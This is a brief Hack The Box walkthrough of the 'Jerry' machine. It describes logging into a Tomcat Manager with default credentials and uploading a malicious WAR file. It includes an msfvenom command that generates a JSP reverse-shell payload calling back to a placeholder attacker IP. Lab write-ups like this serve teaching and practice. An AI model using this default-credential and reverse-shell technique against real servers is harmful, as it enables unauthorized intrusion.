Hack The Box Jerry Machine Walkthrough — shaggy

Description: Hey everyone, I’m sharing the walkthrough for the Jerry machine on Hack The Box. This machine highlights the importance of changing default credentials when deploying third-party applications, and the risks of leaving insecure software configurations in place. Let’s solve it. 🍾 🙌 🎉

We start with a detailed Nmap scan and find a web application running.

We land on the Apache Tomcat default page. My first instinct: try default credentials on the Manager App.

Credentials: tomcat / s3cret

Once logged in we can see the file upload functionality, but only .war files are accepted.

After a bit of research I found this guide on exploiting Tomcat Manager. We generate a malicious WAR file with msfvenom and set up a listener.

1<<msfvenom -p java/jsp_reverse_shell_reverse_tcp LHOST=<attacking_ip> LPORT=<PORT> -f war > reverse.war>>

We deploy the WAR file and trigger the payload. Shell received. Both flags are in Users\Administrator\Desktop\flags.

A big thanks to my teammate Gizem Bozyel for solving this one together.

Thanks for reading, happy hacking! :)